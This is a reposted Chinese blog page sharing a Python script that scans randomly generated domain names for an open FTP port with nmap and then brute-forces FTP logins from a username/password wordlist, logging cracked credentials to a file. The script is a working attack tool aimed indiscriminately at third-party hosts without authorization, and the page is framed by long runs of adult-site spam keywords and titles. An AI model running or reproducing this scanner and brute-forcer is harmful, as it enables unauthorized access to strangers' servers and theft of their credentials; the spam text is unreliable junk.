亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 學院 > 開發設計 > 正文

使用python掃描隨機生成的域名開放端口 ,并嘗試暴力破解FTP服務

2019-11-14 11:58:36
字體:
來源:轉載
供稿:網友

本代碼屬于使用python3.4版本  主要是交流  高手勿噴!!

#!/usr/bin/python# -*- coding: utf-8 -*- import nmap   # 需要使用nmap端口掃描工具的支持     這里不僅要安裝nmap的python包  還要安裝nmap的windows的應用程序    python包 直接使用pip安裝即可    至于nmap for windows 的版本如何安裝 請直接度娘  from socket import *import threading import sys,random,timeimport string,osimport configparser   ### 配置文件包"""端口掃描工具  并且判斷如果端口21打開 嘗試暴力破解FTP"""screenLock = threading.Semaphore(value=1)def bruteLogin(hostname, passwdFile):    """嘗試破解FTP"""    pF = open(passwdFile, 'r')    for line in pF.readlines():        time.sleep(1)        userName = line.split(' ')[0]        passWord = line.split(' ')[1].strip('/r').strip('/n')       # PRint ("[+] 嘗試攻擊:%s      "%hostname+userName+"/"+passWord)       # print("[-]主機:",hostname)##                try:            ftp = ftplib.FTP(hostname)            ftp.login(userName, passWord)            print( '/n[*] ' + str(hostname) +/          ' FTP 賬號和密碼是: '+userName+"/"+passWord)                         ftp.quit()            return (userName, passWord)        except Exception:            pass ##嘗試失敗 重試中                print( '/n[-]FTP %s攻擊失敗!.'%hostname)    return (None, None)    def nmapScan(tgtip,tgtPort,tgtHost):         nmScan = nmap.PortScanner()    try:        nmScan.scan(tgtip,tgtPort)                 state=nmScan[tgtip]['tcp'][int(tgtPort)]['state']    except :        return None    return state     def portScan(tgtHost, tgtPorts):       try:        tgtIP = gethostbyname(tgtHost)           except:                return     try:        tgtName = gethostbyaddr(tgtIP)   ## 這里是反向查詢ip地址對應的DNS 主機名     except :        tgtName  = None                       setdefaulttimeout(1)         scan = {}    for tgtPort in tgtPorts:          state = nmapScan(tgtIP,str(tgtPort),tgtHost)        if state =="open":  ### 發現開放端口 就在字典中寫入            if tgtHost not in scan :                scan[tgtHost] = []                                 scan[tgtHost].append(str(tgtPort))            else:                                 scan[tgtHost].append(str(tgtPort))                                         if len(scan)>0:  ## 從字典中導出   根據字典中的數據寫配置文件        config =configparser.ConfigParser()        config.add_section(tgtHost)        config.set(tgtHost,"IP",tgtIP)                 if tgtName!=None:            config.set(tgtHost,"主機名",tgtName[0])        else:            config.set(tgtHost,"主機名","未知")        print("當前線程數: %d    當前掃描主機%s開放的端口有:"%(threading.activeCount()-1,tgtHost),scan[tgtHost])        for x in scan[tgtHost]:            config.set(tgtHost,"端口%s  "%x,"  isopen")        cfgfile = open('IpConfig.ini','a')        config.write(cfgfile)        cfgfile.close()        if "21" in scan[tgtHost]:            print( '/n[+]FTP %s開始攻擊!.'%tgtIP)            passwdFile = 'userpass.txt'     ##設置ftp弱口令的用戶名和密碼字典    字典存放的規則是 用戶名加空格加密碼后換行  類似于: username password/n            res = bruteLogin(tgtIP, passwdFile)            if res[0]!=None:                ftp = open("ftp.txt","a")                ftp.write(tgtIP+"   :   userName = "+res[0]+"    password = "+res[1])                ftp.close()                                                                                                              def gethost(x):       lis = ['z','y','x','w','v','u','t','s','r','q','p','o','n','m','l','k','j','i','h','g','f','e','d','c','b','a','1','2','3','4','5','6','7','8','9','0']    s=''    s =  (s.join(random.sample(lis, x))).replace(" ","")             ss = [s+".cn",s+".cc",s+".com",s+".net",s+".pw",s+".wang",s+".vip",s+".tv",s+".org",s+".pub"]    return (s,ss)             def main():     driver = "D://Python34//nmap"    os.environ['PATH']=os.environ['PATH']+';'+driver    ho =[]    for x in range(12000):        while True:   ##這里是一個避免重復的排除方式            hos,Host =gethost(4)  ###這里是隨機域名             if hos not in ho:                ho.append(hos)                   break            else:                continue                                                    ##        21/tcp FTP 文件傳輸協議 ##        22/tcp SSH 安全登錄、文件傳送(SCP)和端口重定向 ##        23/tcp Telnet 不安全的文本傳送 ##        25/tcp SMTP Simple Mail Transfer Protocol (E-mail) ##        69/udp TFTP Trivial File Transfer Protocol ##        79/tcp finger Finger ##        80/tcp HTTP 超文本傳送協議 (WWW) ##        88/tcp Kerberos Authenticating agent ##        110/tcp POP3 Post Office Protocol (E-mail) ##        113/tcp ident old identification server system ##        119/tcp NNTP used for usenet newsgroups ##        220/tcp IMAP3 ##        443/tcp HTTPS used for securely transferring web pages##        3389/tcp windows服務器遠程桌面端口##        445/tcp 共享打印機端口##        139/tcp 被用于Windows"文件和打印機共享"和SAMBA         Port = [21,]  ##需要掃描的端口   這里 是掃描了ftp服務器 所以為了效率 全部只掃描21號端口        for x in Host:            t = threading.Thread(target=portScan,args=(x,Port))  ###開啟線程 掃描隨機的域名             t.start()        while True:            if threading.activeCount()-1>100:  ## 這里做了一個緩沖 限制了最大擁有100多個線程                time.sleep(1)            else:                break                            if __name__ == '__main__':    main()


發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
成人免费网站在线观看| 亚洲美女在线看| 日韩av色在线| 91精品国产免费久久久久久| 91精品国产91久久久久久吃药| 欧美高清一级大片| 欧美专区中文字幕| 久久成人精品一区二区三区| 日韩在线高清视频| 精品夜色国产国偷在线| 久久天天躁狠狠躁夜夜爽蜜月| 中国china体内裑精亚洲片| 81精品国产乱码久久久久久| 欧美成人在线网站| 久久国产精品久久久久| 国产99久久精品一区二区永久免费| 亚洲免费电影在线观看| 日韩国产欧美区| 中文在线不卡视频| 91国在线精品国内播放| 日韩中文在线不卡| 最近中文字幕mv在线一区二区三区四区| 国产成人aa精品一区在线播放| 一区二区三区美女xx视频| 亚洲精品v欧美精品v日韩精品| 日韩av电影院| 国产精品美女网站| 日韩有码在线电影| 欧美孕妇毛茸茸xxxx| 色综合天天狠天天透天天伊人| 亚洲欧美成人精品| 欧美黄色片在线观看| 国产精品高潮呻吟久久av无限| 欧美俄罗斯性视频| 中文字幕亚洲欧美在线| 日韩精品免费一线在线观看| 久久久久久97| 日韩中文字幕在线免费观看| 亚洲性夜色噜噜噜7777| 日韩精品视频在线观看网址| 5278欧美一区二区三区| 国产亚洲欧洲高清| 国产精品三级美女白浆呻吟| 国产999在线观看| 国产精品日日摸夜夜添夜夜av| 亚洲精品电影网在线观看| 亚洲品质视频自拍网| 国产精品久久久久久久久久三级| 中文字幕日韩av综合精品| 国产一区二区三区视频| 日韩精品在线观看一区二区| 97精品国产91久久久久久| 国产精品你懂得| 国产精品影院在线观看| 91丨九色丨国产在线| 欧美激情视频一区二区三区不卡| 成人免费大片黄在线播放| 午夜精品久久久久久99热| 美女福利视频一区| 国产激情999| 亚洲国产精品yw在线观看| 欧美黑人一区二区三区| 91啪国产在线| 国产精品一香蕉国产线看观看| 91在线免费网站| 91精品久久久久久久久久| 国产69精品99久久久久久宅男| 国产精品成人品| 在线不卡国产精品| 久久中文字幕国产| 国产欧美一区二区三区视频| 亚洲天堂第一页| 欧美激情免费视频| 国产小视频国产精品| 国产精品一区二区久久国产| 一个人看的www欧美| 亚洲精品美女在线观看播放| 亚洲国产精品成人av| 91香蕉电影院| 国产精品久久久久久久7电影| 国模精品一区二区三区色天香| 成人国产精品av| 日本高清视频一区| 视频一区视频二区国产精品| 欧美电影院免费观看| 91成人精品网站| 成人深夜直播免费观看| 26uuu久久噜噜噜噜| 国产精品电影久久久久电影网| 91精品国产综合久久香蕉922| 精品国内自产拍在线观看| 亚洲国产美女久久久久| 欧美电影在线免费观看网站| 成人夜晚看av| 欧美床上激情在线观看| 北条麻妃一区二区三区中文字幕| 久久九九全国免费精品观看| 97超碰国产精品女人人人爽| 久久69精品久久久久久国产越南| 人人做人人澡人人爽欧美| 国产精品一区久久久| 国产视频精品在线| 国产一级揄自揄精品视频| 久久久久久九九九| 亚洲视频网站在线观看| 国产成人+综合亚洲+天堂| 91精品国产高清自在线| 欧美精品videosex牲欧美| 欧美激情一二三| 亚洲视屏在线播放| 欧美性高潮床叫视频| 日韩电视剧在线观看免费网站| 欧美日韩综合视频| 久久中文精品视频| 中文字幕视频在线免费欧美日韩综合在线看| 国产精品日韩专区| 欧美野外猛男的大粗鳮| 日韩av在线看| 日韩精品高清在线| 7777免费精品视频| 91国自产精品中文字幕亚洲| 国产精品jizz在线观看麻豆| 久久久人成影片一区二区三区| 国产精品丝袜白浆摸在线| 国产成人精品a视频一区www| 国产91精品黑色丝袜高跟鞋| 国产丝袜一区视频在线观看| 97免费视频在线| 岛国av在线不卡| 狠狠久久五月精品中文字幕| 国产一区香蕉久久| 91精品中文在线| 色黄久久久久久| 久久精品成人动漫| 欧美综合国产精品久久丁香| 久久久久中文字幕2018| 18一19gay欧美视频网站| 久久久久久中文字幕| 红桃视频成人在线观看| 亚洲国产第一页| 国产成人av网| 亚洲国产精品久久精品怡红院| 久久亚洲精品网站| 欧美性做爰毛片| 亚洲精品xxxx| 亚洲成人av片| 亚洲一区二区三区久久| 国产中文字幕日韩| 国产97在线视频| 国产视频亚洲视频| 日韩欧美国产激情| 国产精品欧美日韩久久| 国产一区二区三区日韩欧美| 不卡av在线网站| 欧美福利小视频| 久久国产精品久久精品| 国产精品网站大全| 中文字幕亚洲第一| 欧美激情伊人电影| 欧美黑人xxxx| 亚洲欧美在线一区| 欧美激情一区二区三区在线视频观看| 欧美日韩国产第一页| 欧洲中文字幕国产精品|